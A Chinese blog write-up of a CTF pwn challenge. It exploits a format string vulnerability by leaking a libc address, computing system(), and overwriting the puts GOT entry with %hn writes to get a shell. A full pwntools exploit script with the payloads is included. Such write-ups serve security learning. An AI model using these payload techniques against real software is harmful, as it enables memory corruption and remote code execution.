CTF-PWN-printf(实验吧|格式化字符漏洞)

首先运行文件,发现需要输入name,于是打开ida逆向出正确的name,来到了程序主界面。

首先我们先逐一判断函数的用途。put_file是让我们输入文本名称和内容,get_file是让我们输入文本名称,然后程序输出文本内容。show_dir是按照先来后出输出所有的文本名称,并且无缝衔接。

这个时候我们发现get_file函数中显然有一个格式化字符漏洞。

这种漏洞会导致我们可以控制任意内存的读写,因此我们考虑由此下手,构造system(/bin/sh)拿到shell

由于show_dir为反向输出,并且中间没有分隔符号,所以我们对输入的文件名下手,构造/bin/sh,那么自然,我们就可以劫持puts函数为system函数

然而程序本身没有system函数的入口,所以我们要找到一种办法将GOT中system函数的地址覆盖到puts函数中

在Linux终端,通过输入:

readelf -r pwn

我们可以查看到puts在运行的时候实际地址被存放到的地址

所以我们下一步就是找到system的实际地址,然后利用格式化字符漏洞,将其写入0x804a028中 

 这里参考了一下leehaming的博客https://blog.csdn.net/lee_ham/article/details/82556622,利用以下公式,可以算出system在运行时的实际地址

libc_base = __libc_start_main_addr - __libc_start_main_offset

system_addr = libc_base + system_offset

用gdb-peda在printf函数处下断点,检查栈。(命令为 stack 100)

 

我们发现了__libc_start_main+247为0xffffd03c,又因为栈顶位置与0xffffd03c距离为364,364/4=91,所以我们可以直接输入%91$x来表示,于是__libc_start_main就可以求出来了

通过libc-database可以知道system函数相关的偏移值,然后system函数的地址我们也可以求出

接下来就是将地址写入puts的临时地址位置中。

为了加快速度,我们可以考虑将system的地址(假设为0xaabbccdd)分成两部分,低地址放进 0x804a028,高地址放进0x804a02a。

构造payload

payload1 = p32(puts_got_addr) + '%%%dc' % ((system_addr & 0xffff)-4) + '%7$hn'
payload2 = p32(puts_got_addr+2) + '%%%dc' % ((system_addr>>16 & 0xffff)-4) + '%7$hn'
之所以是%7$hn,是因为我们在程序停止于printf函数时,打印栈发现我们需要改变的地方的偏移量为7。

exp程序:

from pwn import *
context.log_level = 'debug'

#prog = remote('106.2.25.7',8001)
prog=process("./pwn")

def putfile( prog , filename , content ) :
   print 'putting ' , content 
   prog.sendline('put')
   prog.recvuntil(':')
   prog.sendline(filename)
   prog.recvuntil(':')
   prog.sendline(content)
   prog.recvuntil('ftp>')
def getfile(prog , filename ) :
   prog.sendline('get')
   prog.recvuntil(':')
   prog.sendline(filename)
   return prog.recv(2048)

prog.recv(2048)
prog.sendline('rxraclhm')
prog.recv(2048)
putfile(prog,'sh;','%91$x')
res = getfile( prog , 'sh;')
print res
mainadd = int(res[:8], 16)-247
sysadd = mainadd - 0x18540 + 0x3ada0 
print 'system addr ' , hex(sysadd)
putsadd = 0x0804a028

payload1 = p32(putsadd) + '%%%dc' % ((sysadd & 0xffff)-4) + '%7$hn'
putfile(prog , 'in/' , payload1)
getfile(prog , 'in/')
prog.recvuntil('ftp>')

payload2 = p32(putsadd+2) + '%%%dc' % ((sysadd>>16 & 0xffff)-4) + '%7$hn'
putfile(prog, '/b' , payload2)
getfile(prog,'/b')
prog.recvuntil('ftp>')
prog.sendline('dir')
prog.interactive()

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ctfd-pwn是一个非常受欢迎的CTF(Capture The Flag)比赛中的一个赛题类型,它主要涉及二进制漏洞的利用和系统安全的挑战。 在ctfd-pwn赛题的收集过程中,通常需要考虑以下几个方面: 1. 题目类型:ctfd-pwn赛题可以包含多种类型的漏洞,例如缓冲区溢出、格式化字符漏洞、整数溢出等。在收集赛题时需要确保涵盖各种漏洞类型,增加题目的多样性和挑战性。 2. 难度级别:赛题的难度级别应该根据参赛者的水平来确定。可以设置多个难度级别的赛题,包括初级、中级和高级,以便参赛者可以逐步提高自己的技能。 3. 原创性:收集ctfd-pwn赛题时应尽量保持赛题的原创性,避免过多的抄袭或重复的赛题。这有助于增加参赛者的学习价值,同时也能提高比赛的公平性。 4. 实用性:收集的赛题应该具有实际应用的意义,能够模拟真实的漏洞和攻击场景。这样可以帮助参赛者更好地理解和掌握系统安全的基本原理。 5. 文档和解答:为每个收集的赛题准备详细的文档和解答是很有必要的。这些文档包括赛题的描述、利用漏洞的步骤和参考资源等,可以帮助参赛者更好地理解赛题和解题思路。 6. 持续更新:CTF比赛的赛题应该定期进行更新和维护,以适应不断变化的网络安全环境。同时也要根据参赛者的反馈和需求,不断收集新的赛题,提供更好的比赛体验。 综上所述,ctfd-pwn赛题的收集需要考虑赛题类型、难度级别、原创性、实用性、文档和解答的准备,以及持续更新的需求。这样才能提供一个富有挑战性和教育性的CTF比赛平台。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值